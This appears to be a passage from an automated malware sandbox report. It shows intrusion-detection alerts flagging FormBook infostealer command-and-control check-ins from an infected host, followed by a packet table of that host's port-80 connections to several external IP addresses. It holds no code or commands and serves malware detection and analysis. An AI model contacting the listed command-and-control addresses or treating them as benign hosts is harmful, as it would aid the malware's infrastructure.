2024-10-30T08:11:58.333652+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50028	172.67.154.67	80	TCP
2024-10-30T08:12:00.880361+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50029	172.67.154.67	80	TCP
2024-10-30T08:12:03.455281+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50030	172.67.154.67	80	TCP
2024-10-30T08:12:06.047015+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50031	172.67.154.67	80	TCP
2024-10-30T08:12:06.047015+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50031	172.67.154.67	80	TCP
2024-10-30T08:12:15.299563+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50032	20.2.249.7	80	TCP
2024-10-30T08:12:17.871433+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50033	20.2.249.7	80	TCP
2024-10-30T08:12:20.486991+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50034	20.2.249.7	80	TCP
2024-10-30T08:12:22.879079+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50035	20.2.249.7	80	TCP
2024-10-30T08:12:22.879079+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50035	20.2.249.7	80	TCP
2024-10-30T08:12:30.309501+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50036	203.161.49.193	80	TCP
2024-10-30T08:12:32.868097+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50037	203.161.49.193	80	TCP
2024-10-30T08:12:35.417291+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50038	203.161.49.193	80	TCP
2024-10-30T08:12:37.957230+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50039	203.161.49.193	80	TCP
2024-10-30T08:12:37.957230+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50039	203.161.49.193	80	TCP
2024-10-30T08:12:43.809745+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50040	199.59.243.227	80	TCP
2024-10-30T08:12:46.357760+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50041	199.59.243.227	80	TCP
2024-10-30T08:12:48.895001+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50042	199.59.243.227	80	TCP
2024-10-30T08:12:51.443226+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50043	199.59.243.227	80	TCP
2024-10-30T08:12:51.443226+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50043	199.59.243.227	80	TCP
2024-10-30T08:12:57.609084+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50044	217.76.156.252	80	TCP
2024-10-30T08:13:00.169619+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50045	217.76.156.252	80	TCP
2024-10-30T08:13:02.751785+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50046	217.76.156.252	80	TCP
2024-10-30T08:13:05.362313+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50047	217.76.156.252	80	TCP
2024-10-30T08:13:05.362313+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50047	217.76.156.252	80	TCP
2024-10-30T08:13:11.643333+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50048	144.76.190.39	80	TCP
2024-10-30T08:13:14.252584+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50049	144.76.190.39	80	TCP
2024-10-30T08:13:16.688104+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50050	144.76.190.39	80	TCP
2024-10-30T08:13:19.252594+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50051	144.76.190.39	80	TCP
2024-10-30T08:13:19.252594+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50051	144.76.190.39	80	TCP
2024-10-30T08:13:25.393989+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50052	34.92.128.59	80	TCP
2024-10-30T08:13:28.199291+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50053	34.92.128.59	80	TCP
2024-10-30T08:13:30.545952+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50054	34.92.128.59	80	TCP
2024-10-30T08:13:33.174085+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50055	34.92.128.59	80	TCP
2024-10-30T08:13:33.174085+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50055	34.92.128.59	80	TCP
2024-10-30T08:13:39.287979+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50056	152.42.255.48	80	TCP
2024-10-30T08:13:41.851526+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50057	152.42.255.48	80	TCP
2024-10-30T08:13:44.467456+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50058	152.42.255.48	80	TCP
2024-10-30T08:13:46.940067+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50059	152.42.255.48	80	TCP
2024-10-30T08:13:46.940067+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50059	152.42.255.48	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:10:32.310398102 CET	49741	80	192.168.2.4	3.33.130.190
Oct 30, 2024 08:10:32.315717936 CET	80	49741	3.33.130.190	192.168.2.4
Oct 30, 2024 08:10:32.315833092 CET	49741	80	192.168.2.4	3.33.130.190
Oct 30, 2024 08:10:32.326267004 CET	49741	80	192.168.2.4	3.33.130.190
Oct 30, 2024 08:10:32.331648111 CET	80	49741	3.33.130.190	192.168.2.4
Oct 30, 2024 08:10:32.953885078 CET	80	49741	3.33.130.190	192.168.2.4
Oct 30, 2024 08:10:32.954798937 CET	80	49741	3.33.130.190	192.168.2.4
Oct 30, 2024 08:10:32.954879999 CET	49741	80	192.168.2.4	3.33.130.190
Oct 30, 2024 08:10:32.957438946 CET	49741	80	192.168.2.4	3.33.130.190
Oct 30, 2024 08:10:32.962750912 CET	80	49741	3.33.130.190	192.168.2.4
Oct 30, 2024 08:10:49.030477047 CET	49794	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:49.035829067 CET	80	49794	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:49.035907984 CET	49794	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:49.047422886 CET	49794	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:49.052825928 CET	80	49794	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:50.202378035 CET	80	49794	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:50.202497959 CET	49794	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:50.549669027 CET	49794	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:50.554943085 CET	80	49794	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:51.581994057 CET	49810	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:51.587523937 CET	80	49810	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:51.587609053 CET	49810	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:51.605058908 CET	49810	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:51.610457897 CET	80	49810	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:52.752604961 CET	80	49810	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:52.752803087 CET	49810	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:53.112430096 CET	49810	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:53.117652893 CET	80	49810	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.133492947 CET	49826	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:54.138966084 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.139123917 CET	49826	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:54.154606104 CET	49826	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:54.160130978 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160149097 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160201073 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160213947 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160253048 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160264969 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160360098 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160372972 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:54.160403967 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:55.113492966 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:55.113557100 CET	49826	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:55.659174919 CET	49826	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:55.664477110 CET	80	49826	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:56.678441048 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:56.684300900 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:56.684453964 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:56.692476034 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:56.699388981 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668732882 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668751001 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668764114 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668864012 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668868065 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:57.668876886 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668939114 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668945074 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.668992043 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:57.668992043 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:57.862117052 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:10:57.862298965 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:57.863838911 CET	49840	80	192.168.2.4	103.120.80.111
Oct 30, 2024 08:10:57.869132996 CET	80	49840	103.120.80.111	192.168.2.4
Oct 30, 2024 08:11:02.904867887 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:02.910276890 CET	80	49876	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:02.910348892 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:02.927584887 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:02.932883978 CET	80	49876	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:03.747900963 CET	80	49876	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:03.747917891 CET	80	49876	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:03.748001099 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:03.871401072 CET	80	49876	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:03.871520042 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:04.440347910 CET	49876	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:05.459481955 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:05.464983940 CET	80	49890	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:05.465076923 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:05.476934910 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:05.482328892 CET	80	49890	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:06.297595978 CET	80	49890	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:06.297638893 CET	80	49890	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:06.297813892 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:06.420607090 CET	80	49890	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:06.420701027 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:06.987294912 CET	49890	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:08.007095098 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:08.017343044 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.017466068 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:08.028850079 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:08.038651943 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038664103 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038674116 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038682938 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038692951 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038796902 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038806915 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038815022 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.038827896 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.869854927 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.869898081 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.869961023 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:08.992746115 CET	80	49904	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:08.992871046 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:09.537781000 CET	49904	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:10.553096056 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:10.558636904 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:10.558773041 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:10.566611052 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:10.572115898 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.413075924 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.413149118 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.413183928 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.413201094 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:11.413218975 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.413311958 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:11.540968895 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:11.541182995 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:11.542059898 CET	49918	80	192.168.2.4	217.160.0.60
Oct 30, 2024 08:11:11.547333002 CET	80	49918	217.160.0.60	192.168.2.4
Oct 30, 2024 08:11:16.604278088 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:16.609766006 CET	80	49954	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:16.609873056 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:16.620498896 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:16.625866890 CET	80	49954	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:17.480217934 CET	80	49954	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:17.480247021 CET	80	49954	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:17.480354071 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:17.623301029 CET	80	49954	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:17.623362064 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:18.144011974 CET	49954	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:19.162092924 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:19.167602062 CET	80	49969	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:19.167731047 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:19.179251909 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:19.184751034 CET	80	49969	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:20.001339912 CET	80	49969	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:20.001355886 CET	80	49969	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:20.001401901 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:20.122385025 CET	80	49969	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:20.122467995 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:20.690222979 CET	49969	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:21.708995104 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:21.714390993 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.714509010 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:21.725886106 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:21.731362104 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731375933 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731386900 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731395960 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731432915 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731442928 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731596947 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731607914 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:21.731617928 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:22.550036907 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:22.550060034 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:22.550127029 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:22.671957970 CET	80	49985	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:22.672038078 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:23.237129927 CET	49985	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:24.287388086 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:24.292695045 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:24.292819977 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:24.304682970 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:24.310013056 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.122616053 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.122648954 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.122663021 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.122698069 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.122859001 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:25.244554996 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:25.244746923 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:25.245599985 CET	50000	80	192.168.2.4	161.97.142.144
Oct 30, 2024 08:11:25.250905037 CET	80	50000	161.97.142.144	192.168.2.4
Oct 30, 2024 08:11:30.283425093 CET	50020	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:30.288718939 CET	80	50020	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:30.288794041 CET	50020	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:30.302237034 CET	50020	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:30.307531118 CET	80	50020	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:30.980334044 CET	80	50020	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:30.980429888 CET	50020	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:31.815344095 CET	50020	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:31.820709944 CET	80	50020	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:32.836324930 CET	50021	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:32.841784954 CET	80	50021	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:32.841861963 CET	50021	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:32.933159113 CET	50021	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:32.938570976 CET	80	50021	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:33.545315981 CET	80	50021	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:33.545455933 CET	50021	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:34.440257072 CET	50021	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:34.445739031 CET	80	50021	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.459747076 CET	50022	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:35.516447067 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.516539097 CET	50022	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:35.528155088 CET	50022	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:35.533658981 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533670902 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533710003 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533720970 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533744097 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533755064 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533767939 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533797979 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:35.533808947 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:36.187227011 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:36.187303066 CET	50022	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:37.033948898 CET	50022	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:37.039356947 CET	80	50022	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:38.053756952 CET	50023	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:38.059263945 CET	80	50023	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:38.059369087 CET	50023	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:38.066788912 CET	50023	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:38.072212934 CET	80	50023	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:38.719858885 CET	80	50023	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:38.753062010 CET	80	50023	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:38.753226995 CET	50023	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:38.815401077 CET	50023	80	192.168.2.4	13.248.169.48
Oct 30, 2024 08:11:38.821244955 CET	80	50023	13.248.169.48	192.168.2.4
Oct 30, 2024 08:11:43.864777088 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:43.870285034 CET	80	50024	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:43.870352030 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:43.883404016 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:43.888942003 CET	80	50024	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:44.784115076 CET	80	50024	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:44.898287058 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:44.945344925 CET	80	50024	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:44.950680017 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:45.394967079 CET	50024	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:46.412173986 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:46.419262886 CET	80	50025	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:46.419435978 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:46.430624962 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:46.435978889 CET	80	50025	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:47.336349010 CET	80	50025	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:47.490412951 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:47.492708921 CET	80	50025	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:47.492764950 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:47.940228939 CET	50025	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:48.958935976 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:48.964378119 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.964499950 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:48.974736929 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:48.980165005 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980182886 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980209112 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980221033 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980320930 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980333090 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980348110 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980370045 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:48.980427980 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:49.870584965 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:49.932894945 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:50.027395010 CET	80	50026	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:50.027467966 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:50.488102913 CET	50026	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:51.507236004 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:51.512681007 CET	80	50027	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:51.512758970 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:51.522372961 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:51.527683973 CET	80	50027	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:52.442900896 CET	80	50027	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:52.581486940 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:52.599185944 CET	80	50027	198.251.84.200	192.168.2.4
Oct 30, 2024 08:11:52.599347115 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:52.602173090 CET	50027	80	192.168.2.4	198.251.84.200
Oct 30, 2024 08:11:52.607562065 CET	80	50027	198.251.84.200	192.168.2.4
